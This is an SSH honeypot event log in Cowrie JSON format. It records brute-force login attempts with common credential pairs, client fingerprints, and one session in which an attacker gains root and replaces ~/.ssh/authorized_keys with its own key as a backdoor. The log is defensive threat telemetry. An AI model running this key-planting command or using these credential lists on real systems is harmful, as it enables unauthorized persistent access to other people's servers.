{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42170,"dst_ip":"159.203.135.109","dst_port":22,"session":"21e62934f9d9","protocol":"ssh","message":"New connection: 195.178.110.218:42170 (159.203.135.109:22) [session: 21e62934f9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:55.600970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:55.604837Z","src_ip":"195.178.110.218","session":"21e62934f9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:55.683552Z","src_ip":"195.178.110.218","session":"21e62934f9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:55.921673Z","src_ip":"195.178.110.218","session":"21e62934f9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:57.003272Z","src_ip":"195.178.110.218","session":"21e62934f9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.105","src_port":39478,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2985fe1d6e9","protocol":"ssh","message":"New connection: 157.15.59.105:39478 (10.17.0.5:22) [session: b2985fe1d6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:03.672935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:03.676703Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:03.906201Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qq123321","message":"login attempt [root/qq123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:04.860864Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:05.400790Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:05.403404Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:05.406024Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:05.638158Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.123710Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.126425Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.360960Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.364123Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":56196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d15f97544ee","protocol":"ssh","message":"New connection: 157.15.59.121:56196 (10.17.0.5:22) [session: 5d15f97544ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.594060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.598245Z","src_ip":"157.15.59.121","session":"5d15f97544ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:06.829662Z","src_ip":"157.15.59.121","session":"5d15f97544ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:07.789873Z","src_ip":"157.15.59.121","session":"5d15f97544ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:09.024996Z","src_ip":"157.15.59.121","session":"5d15f97544ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.125","src_port":56204,"dst_ip":"10.17.0.5","dst_port":22,"session":"011e40cd68a2","protocol":"ssh","message":"New connection: 157.15.59.125:56204 (10.17.0.5:22) [session: 011e40cd68a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:09.237042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:09.240456Z","src_ip":"157.15.59.125","session":"011e40cd68a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:09.460411Z","src_ip":"157.15.59.125","session":"011e40cd68a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:10.370536Z","src_ip":"157.15.59.125","session":"011e40cd68a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:10.591519Z","src_ip":"157.15.59.105","session":"b2985fe1d6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:10.596041Z","src_ip":"157.15.59.125","session":"011e40cd68a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58248,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc0a5f81c65","protocol":"ssh","message":"New connection: 195.178.110.218:58248 (10.17.0.5:22) [session: 3fc0a5f81c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:14.151578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:14.156391Z","src_ip":"195.178.110.218","session":"3fc0a5f81c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:14.231488Z","src_ip":"195.178.110.218","session":"3fc0a5f81c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:14.454662Z","src_ip":"195.178.110.218","session":"3fc0a5f81c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:15.531547Z","src_ip":"195.178.110.218","session":"3fc0a5f81c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52686,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e7a4efebff","protocol":"ssh","message":"New connection: 193.32.162.145:52686 (159.203.135.109:22) [session: 69e7a4efebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:18.377711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:18.381816Z","src_ip":"193.32.162.145","session":"69e7a4efebff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:18.492518Z","src_ip":"193.32.162.145","session":"69e7a4efebff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:18.811299Z","src_ip":"193.32.162.145","session":"69e7a4efebff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:19.915828Z","src_ip":"193.32.162.145","session":"69e7a4efebff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36784,"dst_ip":"159.203.135.109","dst_port":22,"session":"425cbf05d0c9","protocol":"ssh","message":"New connection: 2.57.122.96:36784 (159.203.135.109:22) [session: 425cbf05d0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:32.972184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:32.976123Z","src_ip":"2.57.122.96","session":"425cbf05d0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:33.075163Z","src_ip":"2.57.122.96","session":"425cbf05d0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:33.373338Z","src_ip":"2.57.122.96","session":"425cbf05d0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:34.504754Z","src_ip":"2.57.122.96","session":"425cbf05d0c9","protocol":"ssh"}
